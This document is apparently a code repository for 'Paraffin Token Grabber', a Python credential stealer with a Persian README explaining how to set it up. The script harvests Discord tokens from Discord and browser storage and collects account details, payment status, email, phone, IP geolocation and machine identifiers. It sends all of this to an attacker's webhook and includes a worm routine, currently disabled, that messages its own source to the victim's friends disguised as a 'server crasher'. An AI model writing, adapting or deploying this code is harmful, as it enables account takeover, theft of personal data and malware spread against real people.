├── Paraffin Token Grabber.py └── README.md /Paraffin Token Grabber.py: -------------------------------------------------------------------------------- 1 | import re, os 2 | if os.name != "nt": 3 | exit() 4 | from re import findall 5 | import json 6 | import platform as plt 7 | from json import loads, dumps 8 | from base64 import b64decode 9 | from subprocess import Popen, PIPE 10 | from urllib.request import Request, urlopen 11 | from datetime import datetime 12 | from threading import Thread 13 | from time import sleep 14 | from sys import argv 15 | 16 | webhook_url = "" 17 | 18 | languages = { 19 | 'da' : 'Danish, Denmark', 20 | 'de' : 'German, Germany', 21 | 'en-GB' : 'English, United Kingdom', 22 | 'en-US' : 'English, United States', 23 | 'es-ES' : 'Spanish, Spain', 24 | 'fr' : 'French, France', 25 | 'hr' : 'Croatian, Croatia', 26 | 'lt' : 'Lithuanian, Lithuania', 27 | 'hu' : 'Hungarian, Hungary', 28 | 'nl' : 'Dutch, Netherlands', 29 | 'no' : 'Norwegian, Norway', 30 | 'pl' : 'Polish, Poland', 31 | 'pt-BR' : 'Portuguese, Brazilian, Brazil', 32 | 'ro' : 'Romanian, Romania', 33 | 'fi' : 'Finnish, Finland', 34 | 'sv-SE' : 'Swedish, Sweden', 35 | 'vi' : 'Vietnamese, Vietnam', 36 | 'tr' : 'Turkish, Turkey', 37 | 'cs' : 'Czech, Czechia, Czech Republic', 38 | 'el' : 'Greek, Greece', 39 | 'bg' : 'Bulgarian, Bulgaria', 40 | 'ru' : 'Russian, Russia', 41 | 'uk' : 'Ukranian, Ukraine', 42 | 'th' : 'Thai, Thailand', 43 | 'zh-CN' : 'Chinese, China', 44 | 'ja' : 'Japanese', 45 | 'zh-TW' : 'Chinese, Taiwan', 46 | 'ko' : 'Korean, Korea' 47 | } 48 | 49 | LOCAL = os.getenv("LOCALAPPDATA") 50 | ROAMING = os.getenv("APPDATA") 51 | PATHS = { 52 | "Discord" : ROAMING + "\\Discord", 53 | "Discord Canary" : ROAMING + "\\discordcanary", 54 | "Discord PTB" : ROAMING + "\\discordptb", 55 | "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default", 56 | "Opera" : ROAMING + "\\Opera Software\\Opera Stable", 57 | "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default", 58 | "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default", 59 | "Safari" : LOCAL + "\\Safari\\User Data\\Default", 60 | } 61 | def getheaders(token=None, content_type="application/json"): 62 | headers = { 63 | "Content-Type": content_type, 64 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" 65 | } 66 | if token: 67 | headers.update({"Authorization": token}) 68 | return headers 69 | def getuserdata(token): 70 | try: 71 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode()) 72 | except: 73 | pass 74 | def gettokens(path): 75 | path += "\\Local Storage\\leveldb" 76 | tokens = [] 77 | for file_name in os.listdir(path): 78 | if not file_name.endswith(".log") and not file_name.endswith(".ldb"): 79 | continue 80 | for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]: 81 | for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"): 82 | for token in findall(regex, line): 83 | tokens.append(token) 84 | return tokens 85 | def getdeveloper(): 86 | dev = "2021 - by Parsa" 87 | try: 88 | dev = urlopen(Request("https://pastebin.com/raw/qa1ftnHs")).read().decode() 89 | except: 90 | pass 91 | return dev 92 | def getip(): 93 | ip = org = loc = city = country = region = googlemap = "None" 94 | try: 95 | url = 'http://ipinfo.io/json' 96 | response = urlopen(url) 97 | data = json.load(response) 98 | ip = data['ip'] 99 | org = data['org'] 100 | loc = data['loc'] 101 | postal = data['postal'] 102 | city = data['city'] 103 | country = data['country'] 104 | region = data['region'] 105 | googlemap = "https://www.google.com/maps/search/google+map++" + loc 106 | except: 107 | pass 108 | return ip,org,loc,city,country,region,googlemap 109 | def getavatar(uid, aid): 110 | url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif" 111 | try: 112 | urlopen(Request(url)) 113 | except: 114 | url = url[:-4] 115 | return url 116 | def gethwid(): 117 | p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) 118 | return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1] 119 | def getfriends(token): 120 | try: 121 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode()) 122 | except: 123 | pass 124 | def getchat(token, uid): 125 | try: 126 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"] 127 | except: 128 | pass 129 | def has_payment_methods(token): 130 | try: 131 | return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0) 132 | except: 133 | pass 134 | def send_message(token, chat_id, form_data): 135 | try: 136 | urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode() 137 | except: 138 | pass 139 | def spread(token, form_data, delay): 140 | return # Remove to re-enabled 141 | for friend in getfriends(token): 142 | try: 143 | chat_id = getchat(token, friend["id"]) 144 | send_message(token, chat_id, form_data) 145 | except Exception as e: 146 | pass 147 | sleep(delay) 148 | def main(): 149 | global webhook_url 150 | cache_path = ROAMING + "\\.cache~$" 151 | prevent_spam = True 152 | self_spread = True 153 | embeds = [] 154 | working = [] 155 | checked = [] 156 | already_cached_tokens = [] 157 | working_ids = [] 158 | computer_os = plt.platform() 159 | ip,org,loc,city,country,region,googlemap = getip() 160 | pc_username = os.getenv("UserName") 161 | pc_name = os.getenv("COMPUTERNAME") 162 | user_path_name = os.getenv("userprofile").split("\\")[2] 163 | developer = getdeveloper() 164 | for platform, path in PATHS.items(): 165 | if not os.path.exists(path): 166 | continue 167 | for token in gettokens(path): 168 | if token in checked: 169 | continue 170 | checked.append(token) 171 | uid = None 172 | if not token.startswith("mfa."): 173 | try: 174 | uid = b64decode(token.split(".")[0].encode()).decode() 175 | except: 176 | pass 177 | if not uid or uid in working_ids: 178 | continue 179 | user_data = getuserdata(token) 180 | if not user_data: 181 | continue 182 | working_ids.append(uid) 183 | working.append(token) 184 | username = user_data["username"] + "#" + str(user_data["discriminator"]) 185 | user_id = user_data["id"] 186 | locale = user_data['locale'] 187 | avatar_id = user_data["avatar"] 188 | avatar_url = getavatar(user_id, avatar_id) 189 | email = user_data.get("email") 190 | phone = user_data.get("phone") 191 | verified = user_data['verified'] 192 | mfa_enabled = user_data['mfa_enabled'] 193 | flags = user_data['flags'] 194 | 195 | creation_date = datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime('%d-%m-%Y %H:%M:%S UTC') 196 | 197 | language = languages.get(locale) 198 | nitro = bool(user_data.get("premium_type")) 199 | billing = bool(has_payment_methods(token)) 200 | embed = { 201 | "color": 0xFFD400, 202 | "fields": [ 203 | { 204 | "name": "**اطلاعات اکانت 👤**", 205 | "value": f'> **ایمیل** : {email}\n> **شماره** : I {phone}\n> **نیترو** : {nitro}\n> **صورت حساب خرید** : {billing}\n> **بدج های اکانت** : I {flags}', 206 | "inline": True 207 | }, 208 | { 209 | "name": "‍‍**اطلاعات کامپیوتر 💻**", 210 | "value": f'> **مدل کامپیوتر** : {computer_os}\n> **نام کامپیوتر** : {pc_username}\n > **نام دسکتاپ** : {pc_name}\n> **پلتفرم توکن** : {platform}', 211 | "inline": True 212 | }, 213 | { 214 | "name": "--------------------------------------------------------------------------------------------------", 215 | "value":"**--------------------------------------------------------------------------------------------------**", 216 | "inline": False 217 | }, 218 | { 219 | "name": "**اطلاعات آی پی** 🌐", 220 | "value": f'> **آی پی** : I {ip}\n> **نقشه روی گوگل مپ** : I [{loc}]({googlemap})\n> **شهر** : {city}\n> **کشور** : {region}', 221 | "inline": True 222 | }, 223 | { 224 | "name": "**اطلاعات تکمیلی** :ballot_box_with_check: ", 225 | "value": f'> **زبان** : {locale} ({language})\n> **تاییدیه ایمیل** : {verified}\n> **تو فکتوری** : {mfa_enabled}\n> **تاریخ ساخت اکانت** : I {creation_date}', 226 | "inline": True 227 | }, 228 | 229 | ], 230 | "author": { 231 | "name": f"{username} ({user_id})", 232 | "icon_url": avatar_url 233 | }, 234 | "footer": { 235 | "text": f"PARAFFIN Info Grabber", 236 | "icon_url": "https://cdn.discordapp.com/attachments/776425421968244768/798803071659409418/paraffinredc.png" 237 | } 238 | } 239 | embed2 = { 240 | "color": 0xff0000, 241 | "fields": [ 242 | 243 | { 244 | "name": "**توکن** 📟", 245 | "value": token, 246 | "inline": False 247 | } 248 | ], 249 | "author": { 250 | "name": f"{username} ({user_id})", 251 | "icon_url": avatar_url 252 | }, 253 | "footer": { 254 | "text": f"PARAFFIN Token Grabber", 255 | "icon_url": "https://cdn.discordapp.com/attachments/776425421968244768/798803071659409418/paraffinredc.png" 256 | } 257 | } 258 | embed3 = { 259 | "color": 0x1BA41A, 260 | "fields": [ 261 | 262 | { 263 | "name": "> **اولین و برترین توکن گربر دیسکورد فارسی**", 264 | "value": f'> کاملا حرفه ای و تست شده روی تمام پلتفرم ها \n> **دارای تمام اطلاعات اکانت و کامپیوتر طعمه**\n> Web : [Paraffin.SITE](https://paraffin.site)\n> YT : [youtube/paraffin](https://www.youtube.com/watch?v=stIqHgKHZVY&t=19s)', 265 | "inline": True 266 | }, 267 | 268 | ], 269 | "author": { 270 | "name": f"PARAFFIN ™", 271 | "icon_url": "https://cdn.discordapp.com/attachments/776425421968244768/798803071659409418/paraffinredc.png" 272 | }, 273 | "footer": { 274 | "text": f"PARAFFIN TEAM", 275 | "icon_url": "https://cdn.discordapp.com/attachments/776425421968244768/798803071659409418/paraffinredc.png" 276 | } 277 | } 278 | embeds.append(embed) 279 | embeds.append(embed2) 280 | embeds.append(embed3) 281 | with open(cache_path, "a") as file: 282 | for token in checked: 283 | if not token in already_cached_tokens: 284 | file.write(token + "\n") 285 | if len(working) == 0: 286 | working.append('123') 287 | webhook = { 288 | "content": "", 289 | "embeds": embeds, 290 | "username": username, 291 | "avatar_url": avatar_url 292 | } 293 | try: 294 | urlopen(Request(webhook_url, data=dumps(webhook).encode(), headers=getheaders())) 295 | except: 296 | pass 297 | if self_spread: 298 | for token in working: 299 | with open(argv[0], encoding="utf-8") as file: 300 | content = file.read() 301 | payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--' 302 | Thread(target=spread, args=(token, payload, 7500 / 1000)).start() 303 | try: 304 | main() 305 | except Exception as e: 306 | print(e) 307 | pass 308 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Paraffin-Token-Grabber 2 | [![](https://img.shields.io/discord/796767783354368030.svg?logo=discord&colorB=7289DA)](https://paraffin.site) 3 | 4 | ![logo](https://cdn.discordapp.com/attachments/776425421968244768/813113713464049714/bandicam_2021-02-21_10-03-16-922.jpg) 5 | 6 | اولین توکن گربر ایرانی 7 |

8 | 9 | ## 🔧 مورد نیاز ها 10 | 1. Python **[Guide](https://www.python.org/downloads/)** 11 | 12 |

13 | 14 | ## 👨‍🏫 آموزش نصب 15 | 16 |

17 | نصب برنامه پایتون 18 |

19 | دبل کلیک روی فایل اصلی 20 |

21 | **🔴 `Paraffin Token Grabber.py` فراموش نکنید که جایگذاری توکن در خط ۱۶ فایل🔴** 22 |

23 | **با تشکر از** 24 |

25 | ![DM me Discord](https://discord.c99.nl/widget/theme-1/488958506280550402.png) 26 | **** 27 | --------------------------------------------------------------------------------